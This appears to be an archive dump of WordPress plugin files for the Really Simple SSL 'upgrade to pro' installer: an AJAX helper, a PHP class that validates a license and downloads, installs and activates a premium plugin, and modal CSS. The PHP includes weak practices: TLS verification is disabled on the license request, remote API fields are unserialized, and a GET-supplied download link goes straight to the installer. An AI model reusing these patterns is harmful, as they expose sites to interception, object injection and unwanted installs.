GN,iCAYE,0BAsGE;EACE,yBAAA;;AAnHN,iCAYE,0BA0GE;EACE,yBAAA;;AAvHN,iCAYE,0BA8GE;EACE,aAAA","file":"upgrade-to-pro.css"}really-simple-ssl/upgrade/ajax.js000064400000002410147510273070013035 0ustar00
var rsp_ajax = {};

rsp_ajax.x = function () {
    if (typeof XMLHttpRequest !== 'undefined') {
        return new XMLHttpRequest();
    }
    var versions = [
        "MSXML2.XmlHttp.6.0",
        "MSXML2.XmlHttp.5.0",
        "MSXML2.XmlHttp.4.0",
        "MSXML2.XmlHttp.3.0",
        "MSXML2.XmlHttp.2.0",
        "Microsoft.XmlHttp"
    ];

    var xhr;
    for (var i = 0; i < versions.length; i++) {
        try {
            xhr = new ActiveXObject(versions[i]);
            break;
        } catch (e) {
        }
    }
    return xhr;
};

rsp_ajax.send = function (url, callback, method, data, async) {
    if (async === undefined) {
        async = true;
    }
    var x = rsp_ajax.x();
    x.open(method, url, async);
    x.onreadystatechange = function () {
        if (x.readyState == 4) {
            callback(x.responseText)
        }
    };
    if (method == 'POST') {
        x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    }
    x.send(data)
};

rsp_ajax.get = function (url, data, callback, async) {
    var query = [];
    for (var key in data) {
        query.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key]));
    }
    rsp_ajax.send(url + (query.length ? '?' + query.join('&') : ''), callback, 'GET', null, async)
};
really-simple-ssl/upgrade/upgrade-to-pro.php000064400000063544147510273070015151 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Allows plugins to use their own update API.
 *
 * @author Easy Digital Downloads
 * @version 1.7
 */
if ( !class_exists('rsp_upgrade_to_pro') ){
	class rsp_upgrade_to_pro {
		private $version = 1;
		private $api_url = "";
		private $license = "";
		private $item_id = "";
		private $slug = "";
		private $health_check_timeout = 5;
		private $plugin_name = "";
		private $plugin_constant = "";
		private $steps;
		private $prefix;
		private $dashboard_url;
		private $instructions;
		private $account_url;

		/**
		 * Class constructor.
		 *
		 */
		public function __construct() {

			if ( isset($_GET['license']) ) {
				$this->license = sanitize_title($_GET['license']);
			}

			if ( isset($_GET['item_id']) ) {
				$this->item_id = sanitize_title($_GET['item_id']);
			}

			if ( isset($_GET['plugin']) ) {
				$plugin = sanitize_title($_GET['plugin']);
				switch ($plugin) {
					case "rsssl_pro":
						$rsssl_admin_url = is_multisite() ? network_admin_url('settings.php') : admin_url("options-general.php");
						$this->slug = is_multisite() ? "really-simple-ssl-pro-multisite/really-simple-ssl-pro-multisite.php" :  "really-simple-ssl-pro/really-simple-ssl-pro.php";
						$this->plugin_name = "Really Simple Security Pro";
						$this->plugin_constant = "rsssl_pro";
						$this->prefix = "rsssl_";
						$this->api_url = "https://really-simple-ssl.com";
						$this->dashboard_url = add_query_arg(["page" => "really-simple-security"], $rsssl_admin_url );
						$this->account_url = 'https://really-simple-ssl.com/account';
						$this->instructions = 'https://really-simple-ssl.com/knowledge-base/install-really-simple-ssl-pro';
						break;
					case "burst_pro":
						$this->slug = "burst-pro/burst-pro.php";
						$this->plugin_name = "Burst";
						$this->plugin_constant = "burst_pro";
						$this->prefix = "burst_";
						$this->api_url = "https://burst-statistics.com";
						$this->dashboard_url = add_query_arg(["page" => "burst"], admin_url( "index.php" ));
						$this->account_url = 'https://burst-statistics.com/account';
						$this->instructions = 'https://burst-statistics.com/how-to-install-burst-premium';
						break;
					case "cmplz_pro":
					default:
                        $this->slug = is_multisite() ? "complianz-gdpr-premium-multisite/complianz-gpdr-premium.php" : "complianz-gdpr-premium/complianz-gpdr-premium.php";
						$this->plugin_name = "Complianz";
						$this->plugin_constant = "cmplz_premium";
						$this->prefix = "cmplz_";
						$this->api_url = "https://complianz.io";
						$this->dashboard_url = add_query_arg(["page" => "complianz"], admin_url("admin.php") );
                        $this->account_url = 'https://complianz.io/account';
                        $this->instructions = 'https://complianz.io/how-to-install-complianz-gdpr-premium-plugin';
						break;
				}
			}

			$this->steps = array(
				array(
					'action' => 'rsp_upgrade_destination_clear',
					'doing' => __("Checking if plugin folder exists...", "really-simple-ssl"),
					'success' => __("Able to create destination folder", "really-simple-ssl"),
					'error' => __("Destination folder already exists", "really-simple-ssl"),
					'type' => 'folder',
				),
				array(
					'action' => 'rsp_upgrade_activate_license',
					'doing' => __("Validating license...", "really-simple-ssl"),
					'success' => __("License valid", "really-simple-ssl"),
					'error' => __("License invalid", "really-simple-ssl"),
					'type' => 'license',
				),
				array(
					'action' => 'rsp_upgrade_package_information',
					'doing' => __("Retrieving package information...", "really-simple-ssl"),
					'success' => __("Package information retrieved", "really-simple-ssl"),
					'error' => __("Failed to gather package information", "really-simple-ssl"),
					'type' => 'package',
				),
				array(
					'action' => 'rsp_upgrade_install_plugin',
					'doing' => __("Installing plugin...", "really-simple-ssl"),
					'success' => __("Plugin installed", "really-simple-ssl"),
					'error' => __("Failed to install plugin", "really-simple-ssl"),
					'type' => 'install',
				),
				array(
					'action' => 'rsp_upgrade_activate_plugin',
					'doing' => __("Activating plugin...", "really-simple-ssl"),
					'success' => __("Plugin activated", "really-simple-ssl"),
					'error' => __("Failed to activate plugin", "really-simple-ssl"),
					'type' => 'activate',
				)
			);

			// Set up hooks.
			$this->init();
		}

		private function get_suggested_plugin($attr){
			$plugin_to_be_installed = $current_plugin = false;
			if (isset($_GET['plugin']) && $_GET['plugin']==='cmplz_pro' ) {
				$plugin_to_be_installed = 'complianz-gdpr';
			} else if (isset($_GET['plugin']) && $_GET['plugin']==='rsssl_pro' ) {
				$plugin_to_be_installed = 'really-simple-ssl';
			} else if (isset($_GET['plugin']) && $_GET['plugin']==='burst_pro' ) {
				$plugin_to_be_installed = 'burst';
			}

			$path = __FILE__;
			if (strpos($path, 'really-simple-ssl')!==false) {
				$current_plugin = 'really-simple-ssl';
			} else if (strpos($path, 'complianz')!==false){
				$current_plugin = 'complianz-gdpr';
			} else if (strpos($path, 'burst')!==false){
				$current_plugin = 'burst';
			}
			$dir_url = plugin_dir_url(__FILE__).'img/';

			$suggestion = $fallback_suggestion = [
				'icon_url' => $dir_url.'burst.png',
				'constant' => 'burst_version',
				'title' => 'Burst – Privacy Friendly Statistics',
				'description_short' => __('Self-hosted and privacy-friendly analytics tool.', "really-simple-ssl"),
				'disabled' => '',
				'button_text' => __("Install", "really-simple-ssl"),
				'slug' => 'burst-statistics',
				'description' => __("Get detailed insights into visitors' behaviour with Burst Statistics, the privacy-friendly analytics dashboard from Really Simple Plugins.", "really-simple-ssl"),
				'install_url' => 'burst%20statistics%20hesseldejong%20%20burst-statistics.com&tab=search&type=term',
			];

			if ( $plugin_to_be_installed === 'really-simple-ssl' || $plugin_to_be_installed === 'burst' ){
				$suggestion = [
					'icon_url' => $dir_url.'complianz-gdpr.png',
					'constant' => 'cmplz_version',
					'title' => 'Complianz GDPR/CCPA',
					'description_short' => __('GDPR/CCPA Privacy Suite', "really-simple-ssl"),
					'disabled' => '',
					'button_text' => __("Install", "really-simple-ssl"),
					'slug' => 'complianz-gdpr',
					'description' => __('Configure your Cookie Notice, Consent Management and Cookie Policy with our Wizard and Cookie Scan. Supports GDPR, DSGVO, TTDSG, LGPD, POPIA, RGPD, CCPA and PIPEDA.', "really-simple-ssl"),
					'install_url' => 'complianz+gdpr+POPIA&tab=search&type=term',
				];
				if ($current_plugin==='complianz-gdpr') {
					$suggestion = $fallback_suggestion;
				}
			}

			if ( $plugin_to_be_installed === 'complianz-gdpr' ){
				$suggestion = [
					'icon_url' => $dir_url.'really-simple-ssl.png',
					'constant' => 'rsssl_version',
					'title' => 'Really Simple Security',
					'description_short' => __('One click SSL optimization', "really-simple-ssl"),
					'disabled' => '',
					'button_text' => __("Install", "really-simple-ssl"),
					'slug' => 'really-simple-ssl',
					'description' => __('Easily improve site security with WordPress Hardening, Two-Factor Authentication (2FA), Login Protection, Vulnerability Detection and SSL certificate generation.', "really-simple-ssl"),
					'install_url' => 'ssl%20really%20simple%20plugins%20complianz+HSTS&tab=search&type=term',
				];
				if ( $current_plugin==='really-simple-ssl' ) {
					$suggestion = $fallback_suggestion;
				}
			}

			$admin_url = is_multisite() ? network_admin_url('plugin-install.php?s=') : admin_url('plugin-install.php?s=');
			$suggestion['install_url'] = $admin_url.$suggestion['install_url'];
			if (defined($suggestion['constant'])){
				$suggestion['install_url'] = '#';
				$suggestion['button_text'] = __("Installed", "really-simple-ssl");
				$suggestion['disabled'] = 'disabled';
			}

			return $suggestion[$attr];
		}

		/**
		 * Set up WordPress filters to hook into WP's update process.
		 *
		 * @uses add_filter()
		 *
		 * @return void
		 */
		public function init() {
			add_action( 'admin_footer', array( $this, 'print_install_modal' ) );
			add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_assets') );
			add_action( 'wp_ajax_rsp_upgrade_destination_clear', array($this, 'process_ajax_destination_clear') );
			add_action( 'wp_ajax_rsp_upgrade_activate_license', array($this, 'process_ajax_activate_license') );
			add_action( 'wp_ajax_rsp_upgrade_package_information', array($this, 'process_ajax_package_information') );
			add_action( 'wp_ajax_rsp_upgrade_install_plugin', array($this, 'process_ajax_install_plugin') );
			add_action( 'wp_ajax_rsp_upgrade_activate_plugin', array($this, 'process_ajax_activate_plugin') );
		}

		/**
		 * Enqueue javascript
		 * @todo minification
		 */
		public function enqueue_assets( $hook ) {
			if ( $hook === "plugins.php" && isset($_GET['install_pro']) ) {
				$minified = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';
				wp_register_style( 'rsp-upgrade-css', plugin_dir_url(__FILE__) . "upgrade-to-pro$minified.css", false, $this->version );
				wp_enqueue_style( 'rsp-upgrade-css' );
				wp_enqueue_script( 'rsp-ajax-js', plugin_dir_url(__FILE__) . "ajax$minified.js", array(), $this->version, true );
				wp_enqueue_script( 'rsp-upgrade-js', plugin_dir_url(__FILE__) . "upgrade-to-pro$minified.js", array(), $this->version, true );
				wp_localize_script(
					'rsp-upgrade-js',
					'rsp_upgrade',
					array(
						'steps' => $this->steps,
						'admin_url' => admin_url( 'admin-ajax.php' ),
						'token'     => wp_create_nonce( 'upgrade_to_pro_nonce'),
						'cmplz_nonce'     => wp_create_nonce( 'complianz_save'),
						'finished_title' => __("Installation finished", "really-simple-ssl"),
					)
				);
			}
		}

		/**
		 * Calls the API and, if successfull, returns the object delivered by the API.
		 *
		 * @uses get_bloginfo()
		 * @uses wp_remote_post()
		 * @uses is_wp_error()
		 *
		 * @return false|object
		 */
		private function api_request() {
			if ( !rsssl_user_can_manage() ) {
				return false;
			}
			global $edd_plugin_url_available;

			// Do a quick status check on this domain if we haven't already checked it.
			$store_hash = md5( $this->api_url );
			if ( ! is_array( $edd_plugin_url_available ) || ! isset( $edd_plugin_url_available[ $store_hash ] ) ) {
				$test_url_parts = parse_url( $this->api_url );
				$port   = ! empty( $test_url_parts['port'] ) ? ':' . $test_url_parts['port'] : '';
				$host   = ! empty( $test_url_parts['host'] ) ? $test_url_parts['host'] : '';
				$test_url = 'https://' . $host . $port;
				$response = wp_remote_get( $test_url, array( 'timeout' => $this->health_check_timeout, 'sslverify' => true ) );
				$edd_plugin_url_available[ $store_hash ] = is_wp_error( $response ) ? false : true;
			}

			if ( false === $edd_plugin_url_available[ $store_hash ] ) {
				return false;
			}

			if( $this->api_url == trailingslashit ( home_url() ) ) {
				return false; // Don't allow a plugin to ping itself
			}

			$api_params = array(
				'edd_action' => 'get_version',
				'license'    => ! empty( $this->license ) ? $this->license : '',
				'item_id'    => isset( $this->item_id ) ? $this->item_id : false,
				'url'        => home_url(),
			);
			$request    = wp_remote_post( $this->api_url, array( 'timeout' => 15, 'sslverify' => true, 'body' => $api_params ) );
			if ( ! is_wp_error( $request ) ) {
				$request = json_decode( wp_remote_retrieve_body( $request ) );
			}

			if ( $request && isset( $request->sections ) ) {
				$request->sections = maybe_unserialize( $request->sections );
			} else {
				$request = false;
			}

			if ( $request && isset( $request->banners ) ) {
				$request->banners = maybe_unserialize( $request->banners );
			}

			if ( $request && isset( $request->icons ) ) {
				$request->icons = maybe_unserialize( $request->icons );
			}

			if( ! empty( $request->sections ) ) {
				foreach( $request->sections as $key => $section ) {
					$request->$key = (array) $section;
				}
			}

			return $request;
		}

		/**
		 * Prints a modal with bullets for each step of the install process
		 */
		public function print_install_modal()
		{
			if ( !rsssl_user_can_manage() ) {
				return false;
			}

			if ( is_admin() && isset($_GET['install_pro']) && isset($_GET['license']) && isset($_GET['item_id']) && isset($_GET['plugin']) ) {
				$dashboard_url = $this->dashboard_url;
				$plugins_url = admin_url( "plugins.php" );
				?>
                <div id="rsp-step-template">
                    <div class="rsp-install-step {step}">
                        <div class="rsp-step-color">
                            <div class="rsp-grey rsp-bullet"></div>
                        </div>
                        <div class="rsp-step-text">
                            <span>{doing}</span>
                        </div>
                    </div>
                </div>
                <div id="rsp-plugin-suggestion-template">
                    <div class="rsp-recommended"><?php _e("Recommended by Really Simple Plugins","really-simple-ssl")?></div>
                    <div class="rsp-plugin-suggestion">
                        <div class="rsp-icon"><img alt="suggested plugin icon" src="<?=$this->get_suggested_plugin('icon_url')?>"></div>
                        <div class="rsp-summary">
                            <div class="rsp-title"><?=$this->get_suggested_plugin('title')?></div>
                            <div class="rsp-description_short"><?=$this->get_suggested_plugin('description_short')?></div>
                            <div class="rsp-rating"><?php
								$plugin_info = $this->get_plugin_info($this->get_suggested_plugin('slug'));

								if (!is_wp_error($plugin_info) && !empty($plugin_info->rating)) {
									wp_star_rating([
											'rating' => $plugin_info->rating,
											'type' => 'percent',
											'number' => $plugin_info->num_ratings
										]
									);
								}
								?></div>
                        </div>
                        <div class="rsp-description"><?=$this->get_suggested_plugin('description')?></div>
                        <div class="rsp-install-button"><a class="button-secondary" <?=$this->get_suggested_plugin('disabled')?> href="<?=$this->get_suggested_plugin('install_url')?>"><?=$this->get_suggested_plugin('button_text')?></a></div>
                    </div>
                </div>
                <div class="rsp-modal-transparent-background">
                    <div class="rsp-install-plugin-modal">
                        <h3><?php echo __("Installing", "really-simple-ssl") . " " . $this->plugin_name ?></h3>
                        <div class="rsp-progress-bar-container">
                            <div class="rsp-progress rsp-grey">
                                <div class="rsp-bar rsp-green" style="width:0%"></div>
                            </div>
                        </div>
                        <div class="rsp-install-steps">

                        </div>
                        <div class="rsp-footer">
                            <a href="<?php echo $dashboard_url ?>" role="button" class="button-primary rsp-yellow rsp-hidden rsp-btn rsp-visit-dashboard">
								<?php echo __("Visit Dashboard", "really-simple-ssl") ?>
                            </a>
                            <a href="<?php echo $plugins_url ?>" role="button" class="button-primary rsp-red rsp-hidden rsp-btn rsp-cancel">
								<?php echo __("Cancel", "really-simple-ssl") ?>
                            </a>
                            <div class="rsp-error-message rsp-folder rsp-package rsp-install rsp-activate rsp-hidden"><span><?php _e('An error occurred:',"really-simple-ssl")?></span>&nbsp;<?php printf(__('Install %sManually%s.',"really-simple-ssl").'&nbsp;', '<a target="_blank" rel="noopener noreferrer" href="'.$this->account_url.'">','</a>')?></div>
                            <div class="rsp-error-message rsp-license rsp-hidden"><span><?php _e('An error occurred:',"really-simple-ssl")?></span>&nbsp;<?php printf(__('Check your %slicense%s.',"really-simple-ssl").'&nbsp;', '<a target="_blank" rel="noopener noreferrer" href="'.$this->instructions.'">','</a>')?></div>
                        </div>
                    </div>
                </div>
				<?php
			}
		}


		/**
		 * Retrieve plugin info for rating use
		 *
		 * @uses plugins_api() Get the plugin data
		 *
		 * @param  string $slug The WP.org directory repo slug of the plugin
		 *
		 * @version 1.0
		 */
		private function get_plugin_info($slug = '')
		{
			require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
			$plugin_info = get_transient('rsp_'.$slug . '_plugin_info');
			if ( empty($plugin_info) ) {
				$plugin_info = plugins_api('plugin_information', array('slug' => $slug));
				if (!is_wp_error($plugin_info)) {
					set_transient('rsp_'.$slug . '_plugin_info', $plugin_info, WEEK_IN_SECONDS);
				}
			}
			return $plugin_info;
		}

		/**
		 * Ajax GET request
		 *
		 * Checks if the destination folder already exists
		 *
		 * Requires from GET:
		 * - 'token' => wp_nonce 'upgrade_to_pro_nonce'
		 * - 'plugin' (This will set $this->slug (Ex. 'really-simple-ssl-pro/really-simple-ssl-pro.php'), based on which plugin)
		 *
		 * Echoes array [success]
		 */
		public function process_ajax_destination_clear()
		{
			$error = false;
			$response = [
				'success' => false,
			];

			if ( !rsssl_user_can_manage() ) {
				$error = true;
			}

            if ( !isset($_GET['token']) || !wp_verify_nonce($_GET['token'], 'upgrade_to_pro_nonce')) {
                $error = true;
            }

            if (!$error) {
	            if ( defined( $this->plugin_constant ) ) {
		            deactivate_plugins( $this->slug );
	            }

	            $file = trailingslashit( WP_CONTENT_DIR ) . 'plugins/' . $this->slug;
	            if ( file_exists( $file ) ) {
		            $dir     = dirname( $file );
		            $new_dir = $dir . '_' . time();
		            set_transient( 'rsssl_upgrade_dir', $new_dir, WEEK_IN_SECONDS );
		            rename( $dir, $new_dir );
		            //prevent uninstalling code by previous plugin
		            unlink( trailingslashit( $new_dir ) . 'uninstall.php' );
	            }
            }

			if ( !$error && file_exists($file ) ) {
				$error = true;
				$response = [
					'success' => false,
					'message' => __("Could not rename folder!", "really-simple-ssl"),
				];
			}

			if ( !$error && isset($_GET['plugin']) ) {
				if ( !file_exists(WP_PLUGIN_DIR . '/' . $this->slug) ) {
					$response = [
						'success' => true,
					];
				}
			}

			$response = json_encode($response);
			header("Content-Type: application/json");
			echo $response;
			exit;
		}


		/**
		 * Ajax GET request
		 *
		 * Links the license on the website to this site
		 *
		 * Requires from GET:
		 * - 'token' => wp_nonce 'upgrade_to_pro_nonce'
		 * - 'license'
		 * - 'item_id'
		 *
		 * (Without this link you cannot download the pro package from the website)
		 *
		 * Echoes array [license status, response message]
		 */
		public function process_ajax_activate_license()
		{
			$error = false;
			$response = [
				'success' => false,
				'message' => '',
			];

			if ( !rsssl_user_can_manage() ) {
				$error = true;
			}

			if (!$error && isset($_GET['token']) && wp_verify_nonce($_GET['token'], 'upgrade_to_pro_nonce') && isset($_GET['license']) && isset($_GET['item_id']) ) {
				$license  = sanitize_title($_GET['license']);
				$item_id = (int) $_GET['item_id'];
				$response = $this->validate($license, $item_id);
				update_site_option($this->prefix.'auto_installed_license', $license);
			}

			$response = json_encode($response);
			header("Content-Type: application/json");
			echo $response;
			exit;
		}


		/**
		 * Activate the license on the websites url at EDD
		 *
		 * Stores values in database:
		 * - {$this->pro_prefix}license_activations_left
		 * - {$this->pro_prefix}license_expires
		 * - {$this->pro_prefix}license_activation_limit
		 *
		 * @param $license
		 * @param $item_id
		 *
		 * @return array [license status, response message]
		 */

		private function validate( $license, $item_id ): array {
			$message = "";
			$success = false;

			if ( !rsssl_user_can_manage() ) {
				return [
					'success' => $success,
					'message' => $message,
				];
			}

			// data to send in our API request
			$api_params = array(
				'edd_action' => 'activate_license',
				'license'    => $license,
				'item_id'    => $item_id,
				'url'        => home_url()
			);

			// Call the custom API.
			$response = wp_remote_post( $this->api_url, array( 'timeout' => 15, 'sslverify' => false, 'body' => $api_params ) );

			// make sure the response came back okay
			if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
				if ( is_wp_error( $response ) ) {
					$message = $response->get_error_message();
				} else {
					$message = __( 'An error occurred, please try again.', "really-simple-ssl");
				}
			} else {
				$license_data = json_decode( wp_remote_retrieve_body( $response ) );
				if ( false === $license_data->success ) {
					switch( $license_data->error ) {
						case 'expired' :
							$message = sprintf(
								__( 'Your license key expired on %s.', "really-simple-ssl"),
								date_i18n( get_option( 'date_format' ), strtotime( $license_data->expires, current_time( 'timestamp' ) ) )
							);
							break;
						case 'disabled' :
						case 'revoked' :
							$message = __( 'Your license key has been disabled.', "really-simple-ssl");
							break;
						case 'missing' :
							$message = __('Missing license.', "really-simple-ssl");
							break;
						case 'invalid' :
							$message = __( 'Invalid license.', "really-simple-ssl");
							break;
						case 'site_inactive' :
							$message = __( 'Your license is not active for this URL.', "really-simple-ssl" );
							break;
						case 'item_name_mismatch' :
							$message = __( 'This appears to be an invalid license key for this plugin.', "really-simple-ssl" );
							break;
						case 'no_activations_left':
							$message = __( 'Your license key has reached its activation limit.', "really-simple-ssl");
							break;
						default :
							$message = __( 'An error occurred, please try again.', "really-simple-ssl" );
							break;
					}
                    //in case of failure, rename back to default
					$new_dir = get_transient('rsssl_upgrade_dir');
                    if ( $new_dir ) {
	                    if ( file_exists($new_dir ) ) {
		                    $default_file = trailingslashit(WP_CONTENT_DIR).'plugins/'.$this->slug;
		                    $default_dir = dirname($default_file);
		                    rename($new_dir, $default_dir);
	                    }
                    }


				} else {
					$success = $license_data->license === 'valid';
				}
			}

			return [
				'success' => $success,
				'message' => $message,
			];
        }


		/**
		 * Ajax GET request
		 *
		 * Do an API request to get the download link where to download the pro package
		 *
		 * Requires from GET:
		 * - 'token' => wp_nonce 'upgrade_to_pro_nonce'
		 * - 'license'
		 * - 'item_id'
		 *
		 * Echoes array [success, download_link]
		 */
		public function process_ajax_package_information()
		{
			if ( !rsssl_user_can_manage() ) {
				return false;
			}

			if ( isset($_GET['token']) && wp_verify_nonce($_GET['token'], 'upgrade_to_pro_nonce') && isset($_GET['license']) && isset($_GET['item_id']) ) {
				$api = $this->api_request();
				if ( $api && isset($api->download_link) ) {
					$response = [
						'success' => true,
						'download_link' => $api->download_link,
					];
				} else {
					$response = [
						'success' => false,
						'download_link' => "",
					];
				}
				$response = json_encode($response);
				header("Content-Type: application/json");
				echo $response;
				exit;

			}
		}


		/**
		 * Ajax GET request
		 *
		 * Download and install the plugin
		 *
		 * Requires from GET:
		 * - 'token' => wp_nonce 'upgrade_to_pro_nonce'
		 * - 'download_link'
		 * (Linked license on the website to this site)
		 *
		 * Echoes array [success]
		 */
		public function process_ajax_install_plugin()
		{
			$message = '';

			if ( !rsssl_user_can_manage() ) {
				return [
					'success' => false,
					'message' => $message,
				];
			}

			if ( isset($_GET['token']) && wp_verify_nonce($_GET['token'], 'upgrade_to_pro_nonce') && isset($_GET['download_link']) ) {

				$download_link = esc_url_raw($_GET['download_link']);
				require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
				include_once ABSPATH . 'wp-admin/includes/plugin-install.php';

				$skin     = new WP_Ajax_Upgrader_Skin();
				$upgrader = new Plugin_Upgrader( $skin );
				$result   = $upgrader->install( $download_link );

				if ( $result ) {
					$response = [
						'success' => true,
					];
				} else {
					if ( is_wp_error($result) ){
						$message = $result->get_error_message();
					}
					$response = [
						'success' => false,
						'message' => $message,
					];
				}

				$response = json_encode($response);
				header("Content-Type: application/json");
				echo $response;
				exit;
			}
		}


		/**
		 * Ajax GET request
		 *
		 * Do an API request to get the download link where to download the pro package
		 *
		 * Requires from GET:
		 * - 'token' => wp_nonce 'upgrade_to_pro_nonce'
		 * - 'plugin' (This will set $this->slug (Ex. 'really-simple-ssl-pro/really-simple-ssl-pro.php'), based on which plugin)
		 *
		 * Echoes array [success]
		 */
		public function process_ajax_activate_plugin()
		{
			if ( !rsssl_user_can_manage() ) {
				return;
			}

			if ( isset($_GET['token']) && wp_verify_nonce($_GET['token'], 'upgrade_to_pro_nonce') && isset($_GET['plugin']) ) {
				$networkwide = is_multisite() && rsssl_is_networkwide_active();
				$result = activate_plugin( $this->slug, '', $networkwide  );
				if ( !is_wp_error($result) ) {
					$response = [
						'success' => true,
					];
				} else {
					$response = [
						'success' => false,
					];
				}
				$response = json_encode($response);
				header("Content-Type: application/json");
				echo $response;
				exit;
			}
		}
	}
	$rsp_upgrade_to_pro = new rsp_upgrade_to_pro();
}
really-simple-ssl/upgrade/upgrade-to-pro.css000064400000014420147510273070015137 0ustar00/**move to css variables in time */
:root {
  --rsp-break-xs: 400px;
  --rsp-break-s: 576px;
  --rsp-break-m: 768px;
  --rsp-break-l: 992px;
  --rsp-break-xl: 1200px;
  --rsp-break-xxl: 1400px;
  --rsp-spacing-xs: 10px;
  --rsp-spacing-s: 15px;
  --rsp-spacing-m: 20px;
  --rsp-spacing-l: 30px;
  --rsp-spacing-xl: 40px;
  --rsp-grid-margin: var(--rsp-spacing-xs);
  --rsp-grid-gap: var(--rsp-spacing-m);
  --rsp-border-radius: 12px;
  --rsp-border: 1px solid var(--rsp-border-color);
  --rsp-box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px -1px, rgba(0, 0, 0, 0.06) 0px 2px 4px -1px;
  --rsp-border-color: #dfdfdf;
  --rsp-black: #333;
  --rsp-white: #fff;
  --rsp-yellow: #f4bf3e;
  --rsp-blue: #009fff;
  --rsp-dark-blue: #5A6FA5;
  --rsp-green: #2e8a37;
  --rsp-red: #D7263D;
  --rsp-pink: #E35899;
  --rsp-orange: #f39c12;
  --rsp-yellow-faded: rgba(244, 191, 62, 0.1);
  --rsp-blue-faded: rgba(0,159,255, 0.1);
  --rsp-dark-blue-faded: rgba(0,159,255, 0.1);
  --rsp-green-faded: rgba(46, 138, 55, 0.1);
  --rsp-red-faded: rgba(215, 38, 61, 0.1);
  --rsp-pink-faded: rgba(227, 88, 153, 0.1);
  --rsp-orange-faded: rgba(243, 156, 18, 0.1);
  --rsp-background-block-color: var(--rsp-white);
  --rsp-background-color: #f0f0f1;
  --rsp-input-background-color: #F1F1F1;
  --rsp-input-text-color: var(--rsp-text-color);
  --rsp-input-border-color: #8c8f94;
  --rsp-text-color: rgba(26, 26, 26, 0.9);
  --rsp-text-color-invert: rgba(255, 255, 255, 0.9);
  --rsp-text-color-white: rgba(255, 255, 255, 0.9);
  --rsp-text-color-light: rgba(69, 69, 82, 0.9);
  --rsp-grey-200: #fafafa;
  --rsp-grey-300: #ededed;
  --rsp-grey-400: #c6c6c6;
  --rsp-grey-500: #737373;
  --rsp-grey-600: #696969;
  --rsp-color-success: var(--rsp-green);
  --rsp-color-error: var(--rsp-red);
  --rsp-color-warning: var(--rsp-orange);
  --rsp-color-open: var(--rsp-yellow);
  --rsp-fs-100: 0.6125rem;
  --rsp-fs-200: 0.625rem;
  --rsp-fs-300: 0.8125rem;
  --rsp-fs-400: 0.875rem;
  --rsp-fs-500: 1rem;
  --rsp-fs-600: 1.125rem;
  --rsp-fs-700: 1.25rem;
  --rsp-fs-800: 1.5rem;
  --rsp-fs-900: 2.5rem;
  --rsp-brand-primary: var(--rsp-green);
  --rsp-brand-secondary: var(--rsp-yellow);
  --rsp-brand-primary-faded: var(--rsp-green-faded);
}
#rsp-step-template,
#rsp-plugin-suggestion-template {
  display: none;
}
.rsp-recommended {
  padding-bottom: 10px;
}
.rsp-plugin-suggestion {
  display: flex;
  gap: 10px;
  padding: 20px 10px;
  background-color: #f0f6fc;
}
.rsp-plugin-suggestion .rsp-title {
  font-weight: bold;
}
.rsp-plugin-suggestion .rsp-description-short {
  font-weight: bold;
  font-size: 10px;
}
.rsp-plugin-suggestion .rsp-icon img {
  width: 50px;
  height: inherit;
}
.rsp-plugin-suggestion .rsp-description {
  color: #888;
  font-size: 11px;
  line-height: 13px;
  width: 300px;
}
.rsp-plugin-suggestion .rsp-install-button {
  align-items: center;
  justify-content: center;
  display: flex;
}
.rsp-plugin-suggestion .rsp-install-button .button-secondary {
  font-size: 18px;
}
.rsp-plugin-suggestion .star-rating .star {
  width: 16px;
  height: 16px;
  font-size: 16px;
}
.rsp-modal-transparent-background {
  position: fixed;
  width: 100%;
  height: 100%;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: rgba(0, 0, 0, 0.7);
  z-index: 9999;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal {
  max-height: calc(100vh - 20px);
  position: fixed;
  left: 50%;
  top: 50%;
  -ms-transform: translateX(-50%) translateY(-50%);
  transform: translateX(-50%) translateY(-50%);
  width: fit-content;
  height: fit-content;
  min-width: 700px;
  padding: 25px;
  background-color: white;
  border-radius: 10px;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal h3 {
  font-size: 23px;
  margin: 0 0 20px 0;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-progress-bar-container {
  margin: 0 0 15px 0;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-progress-bar-container .rsp-progress {
  overflow: hidden;
  height: 10px;
  border-radius: 5px;
  width: 100%;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-progress-bar-container .rsp-progress .rsp-bar {
  height: 100%;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-install-steps {
  display: flex;
  flex-direction: column;
  margin: 0 0 15px 0;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-install-steps .rsp-install-step {
  display: grid;
  grid-template-columns: 50px 1fr;
  grid-template-rows: 25px;
  align-items: center;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer {
  display: flex;
  gap: 20px;
  align-items: center;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-error-message {
  color: #D7263D;
  font-weight: 14px;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-error-message a {
  color: #D7263D;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-btn {
  width: fit-content;
  margin: 0;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-btn.rsp-yellow {
  background-color: #f8be2e;
  color: #333;
  font-size: 17px;
  border: 1px solid #f8be2e;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-btn.rsp-yellow:hover {
  background-color: #f8be2e;
  border: 1px solid #f8be2e;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-btn.rsp-red {
  background-color: #D7263D;
  color: white;
  border: 1px solid #D7263D;
}
